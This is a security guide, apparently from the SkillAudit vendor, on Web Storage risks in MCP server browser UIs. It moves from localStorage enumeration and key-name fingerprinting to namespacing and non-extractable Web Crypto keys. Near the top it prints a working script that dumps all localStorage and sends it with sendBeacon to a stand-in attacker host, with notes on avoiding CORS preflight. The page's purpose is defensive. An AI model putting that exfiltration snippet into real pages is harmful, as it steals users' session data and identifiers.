MCP server Web Storage key enumeration security — localStorage key scanning, storage fingerprinting, XSS-based storage exfiltration, and IndexedDB with non-exportable keys in MCP browser UIs

Full storage enumeration — one synchronous loop

There is no partial access model for Web Storage. A script that can read one key can read all keys. The enumeration is synchronous and complete:

// Complete localStorage enumeration in a single loop — no async, no permissions
function exfiltrateStorage() {
  const dump = {};
  for (let i = 0; i < localStorage.length; i++) {
    const key = localStorage.key(i);
    dump[key] = localStorage.getItem(key);
  }
  return dump;
}

// Send all storage to attacker endpoint via beacon (survives tab close, no CORS preflight)
const data = exfiltrateStorage();
navigator.sendBeacon(
  'https://attacker.example.com/collect',
  JSON.stringify(data)   // text/plain CORS simple request — no preflight required
);

// Example of what key names alone reveal even before reading values:
// "user:u_8a3f9c2d:profile"        → user ID u_8a3f9c2d is logged in
// "feature:beta-dashboard:enabled" → beta dashboard is enabled for this user
// "session:v2:last-route"          → using v2 session format; last route name readable
// "audit:repo:github.com/org/repo" → this user recently audited a specific repo

Storage fingerprinting from key patterns

Key names are metadata. Even if all values were encrypted, key patterns expose application state. Consider what can be inferred from key names alone:

Prefix-based namespacing — partial mitigation

Prefix-based namespacing does not hide data from same-origin XSS, but it does improve auditability and makes storage access patterns legible in CSP reporting and security reviews. It also prevents key collisions across independently loaded third-party scripts:

// Prefix-based storage access — scoped to application namespace
const STORAGE_PREFIX = 'skillaudit_v2_';

function storageGet(key) {
  return localStorage.getItem(STORAGE_PREFIX + key);
}

function storageSet(key, value) {
  localStorage.setItem(STORAGE_PREFIX + key, value);
}

// Do NOT use user IDs or other identifying data in key names
// BAD:  localStorage.setItem(`user:${userId}:prefs`, JSON.stringify(prefs))
// GOOD: localStorage.setItem(`skillaudit_v2_user_prefs`, JSON.stringify(prefs))
// The value may contain userId; the key should not

IndexedDB with non-exportable CryptoKey — the right pattern for key material

For cryptographic keys used in MCP server signing or encryption, use the Web Crypto API with extractable: false. Non-extractable keys can be used for sign() / encrypt() / decrypt() operations but cannot be exported via crypto.subtle.exportKey() — a same-origin XSS can trigger operations with the key but cannot exfiltrate the raw key bytes:

// Generate a non-exportable signing key — cannot be exfiltrated even by same-origin XSS
const signingKey = await crypto.subtle.generateKey(
  { name: 'ECDSA', namedCurve: 'P-256' },
  false,           // ← extractable: false — key bytes cannot be exported
  ['sign', 'verify']
);

// Store the non-exportable key in IndexedDB
const db = await openDatabase();
const tx = db.transaction('keys', 'readwrite');
tx.objectStore('keys').put(signingKey, 'mcp-signing-key');

// Later: use the key for signing without exposing the raw material
async function signRequest(data) {
  const key = await getKeyFromIndexedDB('mcp-signing-key');
  const signature = await crypto.subtle.sign(
    { name: 'ECDSA', hash: 'SHA-256' },
    key,   // non-extractable — cannot be read by XSS, but CAN be used for sign()
    new TextEncoder().encode(data)
  );
  return signature;
}

// NOTE: Same-origin XSS can still CALL signRequest() to sign attacker-chosen data.
// Non-extractable prevents key exfiltration, not key misuse.
// Full protection requires CSP script-src to prevent injected scripts from running.

SkillAudit findings for Web Storage vulnerabilities in MCP server UIs

See also: XSS security · Beacon API security · Web Crypto API security

Run a free SkillAudit on your MCP server →